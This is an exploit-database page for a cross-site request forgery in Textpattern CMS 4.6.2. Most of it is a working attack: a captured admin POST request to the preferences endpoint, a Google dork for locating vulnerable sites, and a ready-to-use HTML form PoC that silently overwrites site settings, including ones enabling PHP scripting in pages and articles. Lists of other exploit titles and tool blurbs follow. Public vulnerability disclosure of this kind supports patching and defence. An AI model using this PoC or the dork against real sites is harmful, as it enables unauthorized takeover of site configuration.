To access the dashboard, Schedule scans, API and Search become a patron

Search for hundreds of thousands of exploits

"Textpattern CMS 4.6.2 - Cross-site Request Forgery"

Author

Exploit author

"Alperen Ergel"

Platform

Exploit platform

php

Release date

Exploit published date

2020-10-19

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
# Exploit Title: Textpattern CMS 4.6.2 - Cross-site Request Forgery
# Exploit Author: Alperen Ergel
# Contact: @alpren_ae
# Software Homepage: https://textpattern.com/
# Version : 4.6.2
# Tested on: windows 10 / xammp
# Category: WebApp
# Google Dork: intext:"Published with Textpattern CMS"
# Date: 2020-10-29
######## Description ########
#
# 1-) Loggin administrator page
# 
# 2-) Go admin > prefs > site
#
# 3-) All inputs vulnerable to CSRF
#
#
######## Proof of Concept ########

========>>> REQUEST <<<=========

POST /textpattern/textpattern/index.php?event=prefs HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/textpattern/textpattern/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 1806
Connection: close
Cookie: txp_login=localhost%2Ca170e235c4f2f59bb1300272c470807d; txp_login_public=a834cbdc8blocalhost; __atuvc=1%7C40
Upgrade-Insecure-Requests: 1

Submit=Save&sitename=victim+site&siteurl=victimurl.com&site_slogan=victimslogan&production_status=testing&timezone_key=Europe%2FBerlin&auto_dst=0&
is_dst=0&dateformat=since&archive_dateformat=%25b+%25Oe%2C+%25I%3A%25M+%25p&permlink_mode=section_id_title&doctype=html5&logging=none&expire_logs_after=7&
use_comments=1&img_dir=images&skin_dir=themes&file_base_path=%2Fvar%2Fwww%2Fvhosts%2Flocalhost%2Fhttpdocs%2Ftextpattern%2Ffiles&
file_max_upload_size=2000000&tempdir=%2Fvar%2Fwww%2Fvhosts%2Flocalhost%2Fhttpdocs%2Ftextpattern%2Ftextpattern%2Ftmp&plugin_cache_dir=&
smtp_from=&publisher_email=&override_emailcharset=0&enable_xmlrpc_server=0&default_event=article&theme_name=hive&module_pophelp=1&default_publish_status=4&
title_no_widow=0&articles_use_excerpts=1&allow_form_override=1&attach_titles_to_permalinks=1&permlink_format=1&send_lastmod=1&publish_expired_articles=0&use_textile=1&enable_short_tags=1&
use_plugins=1&admin_side_plugins=1&allow_page_php_scripting=1&allow_article_php_scripting=1&max_url_len=1000&syndicate_body_or_excerpt=1&rss_how_many=5&show_comment_count_in_feed=1&
include_email_atom=0&use_mail_on_feeds_id=0&comments_on_default=0&comments_default_invite=Comment&comments_moderate=1&comments_disabled_after=42&comments_auto_append=0&
comments_mode=0&comments_dateformat=%25b+%25Oe%2C+%25I%3A%25M+%25p&comments_sendmail=0&comments_are_ol=1&comment_means_site_updated=1&
comments_require_name=1&comments_require_email=1&never_display_email=1&comment_nofollow=1&comments_disallow_images=0&comments_use_fat_textile=0&spam_blacklists=&
custom_1_set=custom1&custom_2_set=custom2&custom_3_set=&custom_4_set=&custom_5_set=&custom_6_set=&custom_7_set=&custom_8_set=&custom_9_set=&custom_10_set=&
step=prefs_save&event=prefs&_txp_token=0342db47efb6882b488f6d367067d720


### EXPLOIT ####

<html>
  <!-- CSRF PoC -->
  <body>
    <form action="https://localhost/textpattern/textpattern/index.php" method="POST">
      <input type="hidden" name="Submit" value="Save" />
      <input type="hidden" name="sitename" value="CHANGEHERE" />
      <input type="hidden" name="siteurl" value="CHANGEHERE" />
      <input type="hidden" name="site&#95;slogan" value="CHANGEHERE" />
      <input type="hidden" name="production&#95;status" value="testing" />
      <input type="hidden" name="timezone&#95;key" value="Europe&#47;Berlin" />
      <input type="hidden" name="auto&#95;dst" value="0" />
      <input type="hidden" name="is&#95;dst" value="0" />
      <input type="hidden" name="dateformat" value="since" />
      <input type="hidden" name="archive&#95;dateformat" value="&#37;b&#32;&#37;Oe&#44;&#32;&#37;I&#58;&#37;M&#32;&#37;p" />
      <input type="hidden" name="permlink&#95;mode" value="section&#95;id&#95;title" />
      <input type="hidden" name="doctype" value="html5" />
      <input type="hidden" name="logging" value="none" />
      <input type="hidden" name="expire&#95;logs&#95;after" value="7" />
      <input type="hidden" name="use&#95;comments" value="1" />
      <input type="hidden" name="img&#95;dir" value="images" />
      <input type="hidden" name="skin&#95;dir" value="themes" />
      <input type="hidden" name="file&#95;base&#95;path" value="&#47;var&#47;www&#47;vhosts&#47;&#46;demo&#46;localhost&#46;&#47;httpdocs&#47;textpattern&#47;files" />
      <input type="hidden" name="file&#95;max&#95;upload&#95;size" value="2000000" />
      <input type="hidden" name="tempdir" value="&#47;var&#47;www&#47;vhosts&#47;&#46;demo&#46;localhost&#46;&#47;httpdocs&#47;textpattern&#47;textpattern&#47;tmp" />
      <input type="hidden" name="plugin&#95;cache&#95;dir" value="" />
      <input type="hidden" name="smtp&#95;from" value="" />
      <input type="hidden" name="publisher&#95;email" value="" />
      <input type="hidden" name="override&#95;emailcharset" value="0" />
      <input type="hidden" name="enable&#95;xmlrpc&#95;server" value="0" />
      <input type="hidden" name="default&#95;event" value="article" />
      <input type="hidden" name="theme&#95;name" value="hive" />
      <input type="hidden" name="module&#95;pophelp" value="1" />
      <input type="hidden" name="default&#95;publish&#95;status" value="4" />
      <input type="hidden" name="title&#95;no&#95;widow" value="0" />
      <input type="hidden" name="articles&#95;use&#95;excerpts" value="1" />
      <input type="hidden" name="allow&#95;form&#95;override" value="1" />
      <input type="hidden" name="attach&#95;titles&#95;to&#95;permalinks" value="1" />
      <input type="hidden" name="permlink&#95;format" value="1" />
      <input type="hidden" name="send&#95;lastmod" value="1" />
      <input type="hidden" name="publish&#95;expired&#95;articles" value="0" />
      <input type="hidden" name="use&#95;textile" value="1" />
      <input type="hidden" name="enable&#95;short&#95;tags" value="1" />
      <input type="hidden" name="use&#95;plugins" value="1" />
      <input type="hidden" name="admin&#95;side&#95;plugins" value="1" />
      <input type="hidden" name="allow&#95;page&#95;php&#95;scripting" value="1" />
      <input type="hidden" name="allow&#95;article&#95;php&#95;scripting" value="1" />
      <input type="hidden" name="max&#95;url&#95;len" value="1000" />
      <input type="hidden" name="syndicate&#95;body&#95;or&#95;excerpt" value="1" />
      <input type="hidden" name="rss&#95;how&#95;many" value="5" />
      <input type="hidden" name="show&#95;comment&#95;count&#95;in&#95;feed" value="1" />
      <input type="hidden" name="include&#95;email&#95;atom" value="0" />
      <input type="hidden" name="use&#95;mail&#95;on&#95;feeds&#95;id" value="0" />
      <input type="hidden" name="comments&#95;on&#95;default" value="0" />
      <input type="hidden" name="comments&#95;default&#95;invite" value="Comment" />
      <input type="hidden" name="comments&#95;moderate" value="1" />
      <input type="hidden" name="comments&#95;disabled&#95;after" value="42" />
      <input type="hidden" name="comments&#95;auto&#95;append" value="0" />
      <input type="hidden" name="comments&#95;mode" value="0" />
      <input type="hidden" name="comments&#95;dateformat" value="&#37;b&#32;&#37;Oe&#44;&#32;&#37;I&#58;&#37;M&#32;&#37;p" />
      <input type="hidden" name="comments&#95;sendmail" value="0" />
      <input type="hidden" name="comments&#95;are&#95;ol" value="1" />
      <input type="hidden" name="comment&#95;means&#95;site&#95;updated" value="1" />
      <input type="hidden" name="comments&#95;require&#95;name" value="1" />
      <input type="hidden" name="comments&#95;require&#95;email" value="1" />
      <input type="hidden" name="never&#95;display&#95;email" value="1" />
      <input type="hidden" name="comment&#95;nofollow" value="1" />
      <input type="hidden" name="comments&#95;disallow&#95;images" value="0" />
      <input type="hidden" name="comments&#95;use&#95;fat&#95;textile" value="0" />
      <input type="hidden" name="spam&#95;blacklists" value="" />
      <input type="hidden" name="custom&#95;1&#95;set" value="custom1" />
      <input type="hidden" name="custom&#95;2&#95;set" value="custom2" />
      <input type="hidden" name="custom&#95;3&#95;set" value="" />
      <input type="hidden" name="custom&#95;4&#95;set" value="" />
      <input type="hidden" name="custom&#95;5&#95;set" value="" />
      <input type="hidden" name="custom&#95;6&#95;set" value="" />
      <input type="hidden" name="custom&#95;7&#95;set" value="" />
      <input type="hidden" name="custom&#95;8&#95;set" value="" />
      <input type="hidden" name="custom&#95;9&#95;set" value="" />
      <input type="hidden" name="custom&#95;10&#95;set" value="" />
      <input type="hidden" name="step" value="prefs&#95;save" />
      <input type="hidden" name="event" value="prefs" />
      <input type="hidden" name="&#95;txp&#95;token" value="0342db47efb6882b488f6d367067d720" />
      <input type="submit" value="Do Action" />
    </form>
  </body>
</html>
Release Date Title Type Platform Author
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "ILIAS Learning Management System 4.3 - SSRF" webapps multiple Dot
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
2020-12-02 "Microsoft Windows - Win32k Elevation of Privilege" local windows nu11secur1ty
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "Pharmacy Store Management System 1.0 - 'id' SQL Injection" webapps php "Aydın Baran Ertemir"
Release Date Title Type Platform Author
2020-12-01 "TypeSetter 5.1 - CSRF (Change admin e-mail)" webapps php "Alperen Ergel"
2020-10-19 "Textpattern CMS 4.6.2 - Cross-site Request Forgery" webapps php "Alperen Ergel"
2020-10-07 "Textpattern CMS 4.6.2 - 'body' Persistent Cross-Site Scripting" webapps php "Alperen Ergel"
2020-10-01 "Typesetter CMS 5.1 - 'Site Title' Persistent Cross-Site Scripting" webapps php "Alperen Ergel"
2020-09-22 "Flatpress Add Blog 1.0.3 - Persistent Cross-Site Scripting" webapps php "Alperen Ergel"
import requests
response = requests.get('https://www.nmmapper.com/api/v1/exploitdetails/48907/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.